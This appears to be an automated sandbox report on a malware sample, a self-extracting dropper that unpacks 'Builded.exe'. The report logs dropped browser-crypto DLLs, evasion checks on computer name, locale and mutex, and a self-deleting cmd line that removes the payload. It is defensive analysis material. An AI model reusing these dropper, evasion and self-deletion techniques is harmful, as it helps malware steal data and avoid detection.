Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3.dll.1.dr, nss3.dll.1.dr, nss3[1].dll.1.dr, sqlite3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:

Source: 8BQ2v9glrG.exe	ReversingLabs: Detection: 83%
Source: 8BQ2v9glrG.exe	Virustotal: Detection: 54%

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

File read: C:\Users\user\Desktop\8BQ2v9glrG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8BQ2v9glrG.exe "C:\Users\user\Desktop\8BQ2v9glrG.exe"
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe"
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 8BQ2v9glrG.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 8BQ2v9glrG.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 8BQ2v9glrG.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 8BQ2v9glrG.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: 8BQ2v9glrG.exe
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr

Source: 8BQ2v9glrG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 8BQ2v9glrG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 8BQ2v9glrG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 8BQ2v9glrG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 8BQ2v9glrG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_00407A40 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00407A40

Source: initial sample

Static PE information: section where entry point is pointing to: LLCPPC

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_4647468

Jump to behavior

Source: 8BQ2v9glrG.exe	Static PE information: section name: .didat
Source: 8BQ2v9glrG.exe	Static PE information: section name: _RDATA
Source: Builded.exe.0.dr	Static PE information: section name: LLCPPC
Source: mozglue.dll.1.dr	Static PE information: section name: .didat
Source: mozglue[1].dll.1.dr	Static PE information: section name: .didat
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: sqlite3.dll.1.dr	Static PE information: section name: /4
Source: sqlite3.dll.1.dr	Static PE information: section name: /19
Source: sqlite3.dll.1.dr	Static PE information: section name: /35
Source: sqlite3.dll.1.dr	Static PE information: section name: /51
Source: sqlite3.dll.1.dr	Static PE information: section name: /63
Source: sqlite3.dll.1.dr	Static PE information: section name: /77
Source: sqlite3.dll.1.dr	Static PE information: section name: /89
Source: sqlite3.dll.1.dr	Static PE information: section name: /102
Source: sqlite3.dll.1.dr	Static PE information: section name: /113
Source: sqlite3.dll.1.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.1.dr	Static PE information: section name: /124

Source: Builded.exe.0.dr

Static PE information: section name: .text entropy: 7.327610373423534

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_0040C4D0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

1_2_0040C4D0

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_00406C00

1_2_00406C00

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_1-5473

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-4413

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_1-4420

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_00406C00

1_2_00406C00

Source: C:\Windows\SysWOW64\timeout.exe TID: 7460

Thread sleep count: 38 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFD647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7BDFD647C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7BDFEECE0
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE003130 FindFirstFileExA,	0_2_00007FF7BE003130
